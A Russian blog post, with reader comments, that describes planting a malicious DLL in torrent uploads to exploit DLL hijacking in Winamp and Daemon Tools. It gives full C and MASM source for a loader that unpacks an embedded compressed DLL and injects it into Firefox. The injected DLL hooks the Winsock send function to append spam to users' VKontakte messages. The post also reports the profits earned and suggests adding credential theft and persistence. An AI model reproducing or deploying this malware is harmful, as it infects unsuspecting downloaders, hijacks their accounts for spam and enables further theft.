Прибыльный DLL Hijacking
Воскресенье, 29. Август 2010
Раздел: $$$, Assembler, C/C++, Социальные сети, автор: Kaimi
Ни для кого не секрет, что за последнее время уязвимость типа DLL Hijacking была найдена в довольно большом количестве популярных приложений (например, Winamp, uTorrent, FireFox, Opera и др.). Суть уязвимости сводится к возможности подгрузки сторонней DLL при открытии некоторых типов файлов этими приложениями.
Решил провести оценку потенциальных возможностей от данного наплыва. Так как специфика уязвимости состоит в том, что зачастую требуется, чтобы инстанс приложения не был запущен до попытки открытия файла, то наиболее актуальными показались следующие уязвимости: уязвимость в Winamp и уязвимость в Daemon tools lite.
Идея использования состоит в следующем: берутся свежие релизы с зарубежных музыкальных и игровых трекеров (например, sceneaccess, waffles, what.cd, blackcats-games), комплектуются dll'кой и перезаливаются на популярные российские трекеры (rutracker, торренты на ВКонтакте и т.д.). Подбирая актуальные новинки, можно получить приличное количество скачиваний в короткие сроки или можно выкладывать фейки альбомов/игр/фильмов.
С помощью фейков удается привлечь большее количество скачиваний в сутки, особенно если следить за раздачами и пересоздавать их в случае разоблачения, реальные раздачи обладают большей стабильностью.
Для тестирования данной идеи была написана DLL, которая обладает следующим функционалом:
1. Ищет процесс FireFox
2. Сплайсит функцию send
3. Добавляет дополнительный текст при отправке личного сообщения на ВКонтакте
Конечно, можно было бы сделать более широкий функционал, например: отправка аккаунтов от различных сервисов на гейт, инжект во все популярные браузеры, а не только в FireFox, инжект в всевозможные icq клиенты, подмена выдачи поисковиков, прописывание себя в реестр в AppInit_DLLs, скачивание и запуск чего-либо из интернета, да, в конце концов, закрепление в системе.
Но целью было исследование эффективности, а не получение прибыли с этого. DLL состоит из двух частей: одна часть на С, другая - на masm. Первая часть хранит в себе вторую и осуществляет поиск процесса и инжект в него второй части. Вторая часть осуществляет сплайсинг функции send и подмену содержимого сообщений. Да, реализация так себе, но, кому надо - тот перепишет под себя.
Код первой части:
#pragma comment(lib, "psapi") #undef UNICODE #include <stddef.h> #include <stdio.h> #include <windows.h> #include <psapi.h> #include <sys/stat.h> #define BUFSIZE 1024 #define DLL_NAME "mem.dll" typedef NTSTATUS (__stdcall *fpRtlDecompressBuffer)(ULONG, PVOID, ULONG, PVOID, ULONG, PULONG); //структура описывает поля, в которых содержится код внедрения #pragma pack(push, 1) struct INJECTORCODE { BYTE instr_push_loadlibrary_arg; //инструкция push DWORD loadlibrary_arg; //аргумент push WORD instr_call_loadlibrary; //инструкция call DWORD adr_from_call_loadlibrary; BYTE instr_push_exitthread_arg; DWORD exitthread_arg; WORD instr_call_exitthread; DWORD adr_from_call_exitthread; DWORD addr_loadlibrary; DWORD addr_exitthread; //адрес функции ExitThread BYTE libraryname[100]; //имя и путь к загружаемой библиотеке }; #pragma pack(pop) BOOL InjectDll(DWORD pid, char *lpszDllName) { HANDLE hProcess; BYTE *p_code; INJECTORCODE cmds; DWORD wr, id; //Открыть процесс с нужным доступом hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|0x1000|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, pid); if(hProcess == NULL) { MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0); return FALSE; } //Зарезервировать память в процессе p_code = (BYTE*)VirtualAllocEx(hProcess, 0, sizeof(INJECTORCODE), MEM_COMMIT, PAGE_READWRITE); if(p_code == NULL) { MessageBox(NULL, "Unable to alloc memory in remote process", "Error!", 0); return FALSE; } //Инициализировать машинный код cmds.instr_push_loadlibrary_arg = 0x68; //машинный код инструкции push cmds.loadlibrary_arg = (DWORD)((BYTE*)p_code + offsetof(INJECTORCODE, libraryname)); cmds.instr_call_loadlibrary = 0x15ff; //машинный код инструкции call cmds.adr_from_call_loadlibrary = (DWORD)(p_code + offsetof(INJECTORCODE, addr_loadlibrary)); cmds.instr_push_exitthread_arg = 0x68; cmds.exitthread_arg = 0; cmds.instr_call_exitthread = 0x15ff; cmds.adr_from_call_exitthread = (DWORD)(p_code + offsetof(INJECTORCODE, addr_exitthread)); cmds.addr_loadlibrary = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); cmds.addr_exitthread = (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"ExitThread"); if(strlen(lpszDllName) > 99) { MessageBox(NULL, "Dll Name too long", "Error!", 0); return FALSE; } strcpy((char*)cmds.libraryname, lpszDllName ); /*После инициализации cmds в мнемонике ассемблера выглядит следующим образом: push adr_library_name ;аргумент ф-ции loadlibrary call dword ptr [loadlibrary_adr] ;вызвать LoadLibrary push exit_thread_arg ;аргумент для ExitThread call dword ptr [exit_thread_adr] ;вызвать ExitThread */ //Записать машинный код по зарезервированному адресу WriteProcessMemory(hProcess, p_code, &cmds, sizeof(cmds), &wr); //Выполнить машинный код DWORD old_rights; HANDLE z = CreateRemoteThread(hProcess, NULL, 0, (unsigned long (__stdcall *)(void *))p_code, 0, 0, &id); //Ожидать завершения удаленного потока WaitForSingleObject(z, INFINITE); //Освободить память VirtualFreeEx(hProcess, (void*)p_code, sizeof(cmds), MEM_RELEASE); return TRUE; } //Функция установки привилегий отладчика int AdjustPrivileges() { HANDLE hToken; TOKEN_PRIVILEGES tp; TOKEN_PRIVILEGES oldtp; DWORD dwSize = sizeof(TOKEN_PRIVILEGES); LUID luid; if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { if(GetLastError() == ERROR_CALL_NOT_IMPLEMENTED) return 1; return 0; } if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return 0; } ZeroMemory(&tp, sizeof(tp)); tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize)) { CloseHandle(hToken); return 0; } CloseHandle(hToken); return 1; } //Функция проверки существования файла int file_exists(char * fileName) { struct stat buf; return stat(fileName, &buf) ? 0 : 1; } void on_attach() { if(AdjustPrivileges()) { DWORD junk; //Тело DLL в hex после RtlCompressBuffer char *tempbuf = "\xBA\xB7\x00\x4D\x5A\x00\x00\x01\x00\x00\x00\x82\x02\x00\x30\xFF\xFF\x00\x00\x40\x00\x38\xC3\x01\x00\x05\x38\xB4\x4C\xCD\x21\x04\x28\x0E\x00\x01\x01\x8C\x50\x45\x00\x00\x4C\x01\x03\x20\x00\x40\x3D\x7A\x4C\x05\x2E\xE0\x00\x00\x0E\x21\x0B\x01\x05\x0C\x00\x08\xA5\x00\x18\x04\x03\x26\x11\x13\x00\x08\x10\x00\x06\xFE\x20\x04\x72\x01\x16\x00\xE8\x01\x3C\x05\x03\x06\x54\x00\x17\x7C\x65\xF6\x03\x93\x02\x28\x01\x2B\x06\x07\x03\x06\xC0\x90\x17\x00\x00\x30\x00\x07\x4C\x16\x00\x83\x77\x15\xA0\x01\x00\x00\x24\xAC\x19\x1F\x15\x00\x00\x32\x3C\x41\x18\x0F\x2E\x74\x65\x78\x74\x80\x03\xF0\x3E\x07\x04\x48\x81\x75\x03\x58\x06\x00\x00\x75\x60\x2E\xD0\x64\x61\x74\x61\x80\x05\xFC\x01\xB2\x81\x7D\x05\x81\x11\x0A\x8E\xA3\xC0\x2E\x72\x65\x6C\x60\x6F\x63\x00\x00\xB8\x84\x59\x82\x13\x0C\xAD\x8E\x13\x42\x31\x65\x19\x00\xD8\xC0\x4F\xEC\xC0\x00\xAA\xFE\xC0\x00\x14\xC0\x54\x24\xC0\x00\x32\xC0\x00\xAA\x44\xC0\x00\x5A\xC0\x00\x66\xC0\x00\x72\xC0\x00\x35\x01\x00\xA4\xC4\x01\x8C\xC4\x01\x01\x00\x55\x8B\x00\xEC\x68\x63\x21\x40\x00\xFF\x75\x00\x0C\xE8\xF6\x05\x00\x00\x8B\xD8\x14\x68\x77\x84\x03\xE7\x81\x03\xC0\x0B\xDB\x08\x0F\x84\x86\x00\x33\x0B\xC0\x0F\x85\x0A\x7E\xC0\x01\x6A\x41\x00\xFF\x68\x00\x20\x12\x40\x82\x02\xE8\x61\x40\x7E\x8B\xD8\x6A\x54\x04\x68\x41\x51\x53\x00\x04\x56\x00\x04\xA3\x62\x4B\xC0\x10\x53\xFF\x35\x81\x01\x09\x0B\x34\x51\xC0\x06\x6B\xDB\x06\x48\x0B\x28\x41\x0B\x4F\x07\x43\x0B\x81\x01\xC3\x0C\xE8\x4C\x03\x00\x00\x58\x68\x00\x80\x81\x1B\x44\x04\x05\x00\x0A\x03\x60\x5D\x10\x89\x1D\x17\x01\x13\x03\x10\xFF\x22\x35\x02\x03\x00\xE8\xE2\x80\x0B\xA3\x57\x29\x80\x09\x68\x83\x04\x2F\x2A\x01\x2F\xF0\x46\x00\x56\x33\xC9\xEB\x02\x41\xAC\x3C\x00\x26\x75\xFA\x5E\x49\x89\x0D\x1B\xA5\x80\x0B\xA1\x01\x01\x03\x05\x88\x11\x50\x40\x10\x7A\xA0\x41\x10\x5F\x81\x2B\x85\x16\x81\x09\x00\x06\x87\x4D\x01\x06\x53\x42\x26\x43\x04\xFF\x35\x41\x03\x56\x4C\xE8\xA2\x00\x06\xC3\x02\xFF\x35\x01\x0E\xE8\x6E\x7B\x02\x04\x03\x31\x02\x04\x64\x09\x31\xC1\x05\xE8\xBE\x40\x82\x08\x01\x07\x45\x0E\x01\x2D\xC1\x2B\x84\xC9\x0A\x4D\x42\x0F\x14\x49\x04\x01\x0B\xE8\x02\x41\x04\x8D\x09\x86\x0D\xE8\x46\x80\x44\x83\xC0\x04\x50\xC4\xE8\x07\x00\x03\x50\x68\x92\xE2\x1F\x60\x14\x04\xE8\xFD\xE0\x34\x83\xC4\x0C\x68\xA5\x85\x84\x0B\x1D\x61\x34\xF0\x83\xC6\x10\xC5\x21\x82\x0D\xC0\x21\x51\x6A\x00\x68\x1F\xA0\x05\x98\x56\xE8\xD8\xC0\x05\x42\x01\x68\xB6\x41\x08\x5A\xE7\x41\x08\xBA\x43\x08\x24\x0D\xA6\xA1\x01\xC0\xCA\x05\xE8\x25\x70\x20\x02\xA3\x5B\x25\x0E\x62\x06\xEC\xFF\x35\xE1\x01\x24\x06\xB4\x61\x0A\xA5\x17\x22\x02\x26\x44\x20\x02\x43\x04\xE8\x57\x41\x01\x75\x14\x02\x50\x24\x06\x75\x08\x68\xD8\x12\x40\x99\x41\x51\xA1\xF4\xE0\x01\x00\x0D\xFF\xE0\x66\x07\x05\x02\x06\x08\x00\x06\x8B\x45\x10\xEB\x1E\x31\xA0\x06\xFF\x75\x10\x60\x1A\x81\x06\x0D\x13\x11\x8C\x06\x5D\xC2\x10\x01\x02\x83\x7D\x0C\xA0\x01\x75\x6E\x68\xC9\x21\x07\xB6\xE0\x76\x34\xA3\xF0\xE1\x14\xD5\x82\x13\x41\x01\xE8\xA7\x13\x81\x02\xA1\x06\x68\xF8\x22\x3E\x6A\x05\xFF\x32\x35\xC1\x01\xE8\xA6\x00\x03\xC2\x09\xC6\x00\x00\xE9\xB9\x40\x10\x40\x00\x2B\x0D\x41\x82\x0B\xE9\x05\x89\x48\x01\x82\x05\xFF\x56\x35\x42\x06\x05\x06\x75\x00\x06\xB8\x41\x83\xC9\x04\xC2\x0C\x41\x0F\x56\x57\x53\x8B\x75\x00\x0C\x8B\x7D\x08\x8B\xC6\x2B\x45\x00\x0C\x8B\x5D\x10\x83\xEB\x04\x3B\x00\xC3\x72\x02\xEB\x74\x8A\x07\x3C\x00\x80\x73\x4E\x3C\x20\x75\x06\xC6\x00\x06\x2B\x46\xEB\x59\x3C\x00\x76\x00\x04\x3C\x2F\x76\x14\x3C\x3A\x72\x80\x04\x3C\x40\x76\x0C\x3C\x5B\xE0\x00\x02\x60\x60\x02\x7B\x72\x23\x3C\x2E\x74\x00\x1F\x3C\x5F\x74\x1B\x3C\x2D\x74\x80\x17\x0F\xB6\xC0\x50\x68\xDA\x22\x4E\x06\x26\x00\x0D\x60\x32\x83\xC6\x03\xEB\x1A\xA0\x88\x06\x46\xEB\x15\x62\x03\xE1\x62\x03\x02\x0A\x66\x03\x47\x8A\x1F\x84\xDB\x0F\x00\x85\x7B\xFF\xFF\xFF\xC6\x06\x00\x88\x5B\x5F\x5E\x44\x13\x83\xC4\xF8\xA0\x13\x0F\xC2\x77\x42\x78\x20\x28\x20\x40\xE9\xFD\x00\x00\x04\xE8\xB5\x00\x18\x83\xF8\x00\x76\x20\x50\x40\x89\x45\xF8\x88\x3C\x8B\xE0\x02\x0B\x08\xC0\x75\x10\x22\x1C\xEB\x67\xEB\x07\x82\xB8\xA1\x9A\xEB\x5E\x89\x45\xFC\x61\x08\x40\xFF\x75\xF8\xFF\x75\xFC\x2A\x09\x6B\x45\x23\x06\x16\xC5\x37\x75\xFC\xE8\xC1\xCA\xB8\x11\x00\x54\x00\xEB\x26\x45\x37\xFC\xE8\xD1\x2C\xFE\xFF\xC0\x82\x66\x04\x28\xC0\x03\x33\xC0\x23\x64\x15\xC4\x00\xFF\x25\x00\x00\x30\xFF\x25\xAA\x04\xA2\x00\x08\xA2\x00\x0C\xA2\x00\x10\xA2\x00\xAA\x14\xA2\x00\x18\xA2\x00\x1C\xA2\x00\x20\xA2\x00\x2A\x24\xA2\x00\x34\xA0\x00\xCC\x00\x00\x8B\x4C\x00\x24\x10\x8B\x54\x24\x04\x03\xD1\x00\x03\x54\x24\x0C\x8B\x44\x24\x08\x00\x03\xC1\xF7\xD9\x53\x0F\xB6\x1C\x00\x11\x88\x1C\x01\x83\xC1\x01\x75\x60\xF4\x5B\xC6\x00\x00\x00\x47\xA1\x05\xCC\x42\xCC\x02\x25\xFC\x53\x56\x57\x80\x1A\xE8\x4E\x9F\xC0\x12\x60\x1D\xC0\x16\xE8\x94\x40\x01\x29\x00\x45\xFC\x8B\x75\x08\x01\x75\xFC\x01\xE1\x3A\x45\xFC\x01\x8B\x7D\x0C\x83\x00\xEE\x01\xEB\x04\x03\xF1\x8B\xFF\x00\x83\xC6\x01\x39\x75\xFC\x7E\x4C\x00\x0F\xB6\x06\x3A\x03\x74\x09\x88\x00\x07\x83\xC7\x01\xEB\xEA\x8B\xFF\x22\xB9\xC0\x30\xFF\x8B\xD3\x00\x0D\x0F\xB6\x00\x02\x85\xC0\x74\x13\x83\xC2\x01\x60\x38\x04\x31\x74\xEE\x00\x05\x83\x04\xC5\x40\x90\x8B\x55\x14\x83\xE9\xE4\x03\xB3\x33\xE0\x03\xE3\x02\xEF\x90\x62\x07\x22\x07\x04\x31\x00\x88\x04\x39\x85\xC0\x75\xF2\x5F\x18\x5E\x5B\xC9\x66\x15\xE2\x1B\x44\x24\x04\x08\x83\xE8\x04\x60\x40\x80\x38\x00\x74\x00\x30\x80\x78\x01\x00\x74\x20\x80\x00\x78\x02\x00\x74\x10\x80\x78\x03\x10\x00\x75\xE6\x2B\x01\x02\xC0\x03\xC2\xD4\x04\x00\x93\x00\x02\x96\x00\x01\x94\x00\x60\x00\x68\xFF\x25\x2C\xF0\x12\x9C\x30\x64\x05\x00\x7E\xAB\x31\x62\x60\x20\xD0\x38\x01\x98\x30\x01\x34\x30\x01\xEA\xC8\x38\x01\xAE\x30\x01\x2C\x74\x7D\xBF\x69\xBF\x69\x07\xBF\x69\xBF\x69\x01\x00\x34\x01\x47\x65\x74\x00\x4D\x6F\x64\x75\x6C\x65\x48\x61\x60\x6E\x64\x6C\x65\x41\xF0\x62\x31\x01\x50\x00\x72\x6F\x63\x41\x64\x64\x72\x65\x00\x73\x73\x00\x00\x0D\x02\x4D\x75\x00\x6C\x74\x69\x42\x79\x74\x65\x54\x00\x6F\x57\x69\x64\x65\x43\x68\x61\x00\x72\x00\xDD\x02\x56\x69\x72\x74\xA0\x75\x61\x6C\x41\x6C\x32\x79\xDF\xF5\x00\xC0\x46\x72\x65\x65\x00\xE2\xD5\x00\x90\x04\x48\x74\x65\x63\x40\x80\xF0\x02\xA5\x03\x54\x02\x6F\xF6\x04\x00\x13\x03\x6C\x73\x74\x50\x72\x63\x61\x74\x90\x07\x19\xB3\x00\x70\x8A\x79\xB0\x00\x1D\xB2\x00\x6C\x65\x6E\xB0\x00\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x00\x2E\x64\x6C\x6C\x00\x00\x7D\x02\x00\x77\x73\x70\x72\x69\x6E\x74\x66\x40\x41\x00\x75\x73\x65\x72\x75\x01\x0C\x10\x01\x53\x74\x72\x20\x00\x41\x00\x73\xC0\x68\x6C\x77\x61\x70\x69\x63\x01\x77\x81\x7D\xB4\x97\xE8\xB0\x0F\x91\x36\x05\x00\xF1\x00\x35\x00\x6D\x0C\x65\x6D\x5C\x03\x03\x00\x0D\x0A\x0D\x0A\x00\xDF\x20\xEF\xEE\xEB\xFC\xE7\xF3\x00\xFE\xF1\xFC\x20\x57\x69\x6E\x61\xFC\x6D\x70\xBF\x18\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x1F\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x06\x00\x50\x4F\x53\x00\x54\x20\x2F\x6D\x61\x69\x6C\x2E\x00\x70\x68\x70\x20\x48\x54\x54\x50\x00\x00\x61\x5F\x77\x72\x69\x74\x65\x80\x5F\x62\x6F\x78\x00\x26\x6D\xB0\x28\x10\x61\x67\x65\x3D\xC2\x18\x00\x43\x6F\x00\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x00\x6E\x67\x74\x68\x3A\x20\x25\x75\x03\x2E\x01\x3F\x02\x73\x00\x77\x73\x6F\x63\x02\x6B\x14\x23\x73\x65\x6E\x64\x00\x25\xE0\x25\x25\x30\x32\x58\x65\x00\x0F\x00\x77\xAE\x01\xF1\xB1\x44\x30\x53\x30\x78\x30\x97\x00\x30\x9E\x30\xA5\x30\xC5\x30\xCC\x00\x30\xD2\x30\xE4\x30\xF2\x30\xFF\x00\x30\x0B\x31\x10\x31\x2E\x31\x33\x00\x31\x39\x31\x4D\x31\x5A\x31\x66\x00\x31\x6C\x31\x74\x31\x80\x31\x86\x00\x31\x91\x31\x97\x31\xA9\x31\xB4\x00\x31\xBA\x31\xC0\x31\xD5\x31\xE7\x00\x31\xF1\x31\xF7\x31\x0B\x32\x10\x00\x32\x1D\x32\x3E\x32\x49\x32\x4E\x00\x32\x53\x32\x61\x32\x7D\x32\x82\x00\x32\x87\x32\x8D\x32\x93\x32\xA5\x00\x32\xB0\x32\xBF\x32\xC7\x32\xCF\x00\x32\xE1\x32\xFC\x32\x04\x33\x1B\x00\x33\x25\x33\x2A\x33\x30\x33\x3A\x00\x33\x3F\x33\x49\x33\x53\x33\x5B\x00\x33\x61\x33\x6C\x33\x72\x33\x7A\x00\x33\xE6\x33\x02\x34\xDC\x34\xE2\x00\x34\xE8\x34\xEE\x34\xF4\x34\xFA\x00\x34\x00\x35\x06\x35\x0C\x35\x12\xE0\x35\x18\x35\x48\x36\xCF\x0B\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0D\x00"; HMODULE ntdll = GetModuleHandle("ntdll.dll"); fpRtlDecompressBuffer RtlDecompressBuffer = (fpRtlDecompressBuffer) GetProcAddress(ntdll,"RtlDecompressBuffer"); //Говнокод int buf_len = 4096; void * uncomp = VirtualAlloc(0,buf_len*2,MEM_COMMIT,PAGE_READWRITE); NTSTATUS status = RtlDecompressBuffer ( COMPRESSION_FORMAT_LZNT1, uncomp, buf_len*2, tempbuf, buf_len, &junk ); FreeLibrary(ntdll); if(status != NULL) { VirtualFree(uncomp,0,MEM_RELEASE); return; } //Сохраняем dll в файл HANDLE file = CreateFile(DLL_NAME,GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); WriteFile(file, (char *)uncomp, junk, &junk, 0); CloseHandle(file); VirtualFree(uncomp,0,MEM_RELEASE); if(file_exists(DLL_NAME)) { char dll_path[BUFSIZE]; GetFullPathName(DLL_NAME, BUFSIZE, dll_path, NULL); DWORD ids[255], size, pid = 0; if(!EnumProcesses(ids, sizeof(ids), &size)) return; char prname[64]; size_t i, j = size/sizeof(DWORD); //Ищем процесс firefox for(i = 0; i < j; i++) { HANDLE pr = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ids[i]); if(pr != NULL) { GetModuleBaseName(pr, NULL, prname, sizeof(prname)/sizeof(DWORD)); if(strstr(prname, "firefox.")) { pid = ids[i]; break; } } CloseHandle(pr); } if(pid) InjectDll(pid, dll_path); } } } BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: on_attach(); break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; }
Пример использования функции RtlCompressBuffer для сжатия файла можно посмотреть тут.
Преобразовать сжатый файл в hex можно следующим скриптом на Perl:
use warnings; open F, '<', 'compressed.txt' or die $!; undef $/; my $str = <F>; close F; open F, '>', 'hex.txt' or die $!; for my $ch(split //, $str) { print F '\x',sprintf("%02X", ord($ch)); } close F;
Код второй части:
.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include \masm32\macros\macros.asm include \masm32\macros\windows.asm include \masm32\macros\inject.asm uselib kernel32, user32, masm32, Shlwapi urlencodeW proto :DWORD, :DWORD, :DWORD .data ;Сообщение, которое будет добавляться к тексту, отправляемому пользователем message_add db 13,10,"payload",0 textlen dd 0 mess_len dd 0 misc db 100 dup (0) header db 100 dup (0) header1 db 100 dup (0) message_w dword ? message_add_urlenc dword ? message dword ? request dword ? request_final dword ? temp dword ? iAlloc MACRO size:REQ invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE EXITM <eax> ENDM iFree MACRO memaddr:REQ invoke VirtualFree,&memaddr,0,MEM_RELEASE ENDM .code MyFunc: push ebp mov ebp,esp ;__in SOCKET s, __in const char *buf, __in int len, __in int flags mov ebx,FUNC(StrStrA,[ebp+12],chr$("POST /mail.php HTTP")) mov eax,FUNC(StrStrA,[ebp+12],chr$("act=sent")) .if ebx != 0 && eax != 0 ;Определяем необходимый размер буфера invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0 mov ebx,eax ;Создаем буфер mov message_w,iAlloc(ebx) ;Кодируем invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx ;Мега буфер для urlenc сообщения mov eax,6 mul ebx mov message_add_urlenc,iAlloc(ebx) invoke urlencodeW,message_w,message_add_urlenc,ebx iFree message_w ;размер = сообщение после обработки + исходный запрос add ebx,[ebp+16] mov textlen,ebx ;Буфер по размеру текста mov request,iAlloc(textlen) invoke StrStr,[ebp+12],chr$("&message=") mov esi,eax ;пропуск & inc esi push esi xor ecx,ecx .while al != '&' inc ecx lodsb .endw pop esi ;размер сообщения dec ecx mov mess_len,ecx ;размер оригинал + добавка mov eax,mess_len add eax,textlen ;Буфер для них mov temp,iAlloc(eax) ;Буфер для оригинала сообщения mov message,iAlloc(mess_len) ;в message оригинальное сообщение fn szMid,esi,message,0,mess_len ;Копируем оригинал в temp invoke lstrcpy,temp,message ;Объединяем тексты invoke lstrcat,temp,message_add_urlenc ;Освобождаем буфер с добавляемым сообщением iFree message_add_urlenc ;Замена fn szRep,[ebp+12],request,message,temp ;Уже не надо iFree temp iFree message ;Тело запроса invoke StrStr,request,chr$(13,10,13,10) add eax,4 ;Размер тела invoke lstrlen,eax ;Делаем новый заголовок invoke wsprintf,offset header,chr$("Content-Length: %u"),eax invoke StrStr,[ebp+12],chr$("Content-Length: ") mov esi,eax add esi,16 push esi xor ecx,ecx .while al != 13 ; \r inc ecx lodsb .endw pop esi ;Старый размер fn szMid,esi,offset misc,0,ecx ;Делаем старый заголовок invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc invoke lstrlen,request add eax,5 mov request_final,iAlloc(eax) ;Замена fn szRep,request,request_final,offset header1,offset header iFree request ;Размер буфера к отправке invoke lstrlen,request_final HOOK_ORIGINAL_CALL_PARAM send,1,[ebp+8],request_final,eax,[ebp+20] iFree request_final ;Возвращаем размер оригинального запроса mov eax,[ebp+16] .else HOOK_ORIGINAL_CALL send, 4 .endif pop ebp retn 4*4 LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD .if reason == DLL_PROCESS_ATTACH ;Ставим хук SET_HOOK wsock32.dll, send, MyFunc ;Успешный атач mov eax,1 .endif ret LibMain ENDP urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD push esi push edi push ebx mov esi,result_buffer mov edi,text_to_convert loop_enc: mov eax,esi sub eax,result_buffer mov ebx,result_buffer_len sub ebx,4 .if eax>=ebx jmp loop_enc_end .endif mov al,byte ptr [edi] .if al<80h .if al==' ' mov byte ptr [esi],'+' inc esi .elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-' movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .else mov byte ptr [esi],al inc esi .endif .else movzx eax,al invoke wsprintf,esi,chr$("%%%02X"),eax add esi,3 .endif inc edi mov bl,byte ptr [edi] test bl,bl jne loop_enc loop_enc_end: mov byte ptr [esi],0 pop ebx pop edi pop esi ret urlencode ENDP urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD LOCAL convert_buffer :DWORD LOCAL convert_buffer_len :DWORD push esi push edi push ebx invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0 .if eax>0 inc eax mov convert_buffer_len,eax invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE .if eax==0 mov eax,1 jmp conv_error .endif .else mov eax,2 jmp conv_error .endif mov convert_buffer,eax invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0 .if eax==0 invoke VirtualFree,convert_buffer,0,MEM_RELEASE mov eax,3 jmp conv_error .endif invoke urlencode,convert_buffer,result_buffer,result_buffer_len invoke VirtualFree,convert_buffer,0,MEM_RELEASE xor eax,eax pop ebx pop edi pop esi ret conv_error: pop ebx pop edi pop esi ret urlencodeW ENDP end LibMain
inject.asm, используемый в коде, представляет собой набор макросов из статьи "Делаем собственный инжектор". Данный файл на всякий случай включен в архив в конце статьи.
Если у Вас возникают проблемы с пониманием кода, то советую обратиться к следующим статьям: раз, два, три. Необходимые инструменты для компиляции второй части можно найти тут.
Результат работы выглядит следующим образом:
1. Пользователь пишет сообщение, нажимает отправить
2. В исходящих оказывается сообщение с пользовательским текстом и добавкой из библиотеки
Ужасно тривиально.
Чем это полезно? Во-первых, можно осуществлять рассылки без необходимости приобретения актуальных программ для этих целей, во-вторых, не требуются прокси, т.к. рассылку осуществляет владелец аккаунта (хотя объемы рассылки будут заметно ниже, ибо не каждый общается со всем своим контакт-листом каждый день), в-третьих, такие рассылки с большей вероятностью проходят фильтр на основе теоремы Байеса (меньше вероятность того, что получатель нажмет кнопку "Это спам", большее разнообразие текстов).
Знакомый человек протестировал данную систему, и вот что у него получилось.
1. Было создано 10 разных раздач на нескольких трекерах.
2. В качестве контента использовались новинки из области музыки, игр и фильмов (т.к. mpc тоже уязвим).
3. Одна удачная раздача набрала ~8900 скачиваний всего за несколько дней.
4. Суммарно 10 раздач были скачаны ~50000 раз
О проценте сработавших инжектов судить можно только косвенно, но по информации знакомого ему удалось заработать ~150$ за 7 дней на этом деле. Для многих это, наверное, не слишком большая сумма, однако тут многое зависит от качества реализации и оригинальности идеи.
Более качественный и функциональный код + несколько удачных раздач + правильный подход смогут дать многократное увеличение прибыли.
Исходные коды: скачать
Программа для сжатия с помощью RtlCompress из комментариев: скачать



BariGa :
В рот мне ноги!
[Ответить]
patrick :
гений своего дела :). Респект!
[Ответить]
TIIIMOXAN :
красота...)
[Ответить]
malder :
Да.. Идея просто супер) Открывающиеся возможности безграничны.. как же защититься самому от этой уязвимости?))
[Ответить]
Kaimi:
Август 29th, 2010 at 20:35
Чаще обновляться (разработчики uTorrent уже выпустили соответствующее обновление) и следить за содержимым скачиваемого контента
[Ответить]
salamandra :
Хех идея знакома,я так подменяла одну из оригинальных библиотек на свою в Internet Explorer 7 для перехвата Post запросов.Подменная библиотека повторяет экспорт оригинальной с переходниками на реальные функции.Так же
есть способы для FireFox и Оперы.Изьян в том,что нет верификации.
[Ответить]
Kaimi:
Август 30th, 2010 at 00:29
Salamandra, а 0x0c0de тебе не родственница?
[Ответить]
salamandra:
Август 30th, 2010 at 00:45
Нет,даже не пересекались,мне до неё,как до луны.
[Ответить]
Kaimi:
Август 30th, 2010 at 01:13
Да ладно, после магистратуры и кандидатской (или не состоялось?) все равно как до луны?)
salamandra:
Сентябрь 2nd, 2010 at 12:32
Ты меня явно с кем то спутал.Никаких кандидатских у меня и в помине не было и к программированию я
имею очень отдалённое и посредственное отношение.У мну совсем другая специальность.
[Ответить]
Kaimi:
Сентябрь 2nd, 2010 at 12:50
Пардон, думал твое
http://www.rsdn.ru/forum/life/3034994.flat.1.aspx
ily :
а можно вкратце объяснить я не понял...
[Ответить]
zifanchuck :
Респект тебе=)
п.с не подскажешь с какой книги лучше начать учить С++ и masm ?
[Ответить]
Kaimi:
Август 30th, 2010 at 13:48
Без понятия, я не читаю книжки по программированию, ибо в гугле полно примеров.
[Ответить]
о_О :
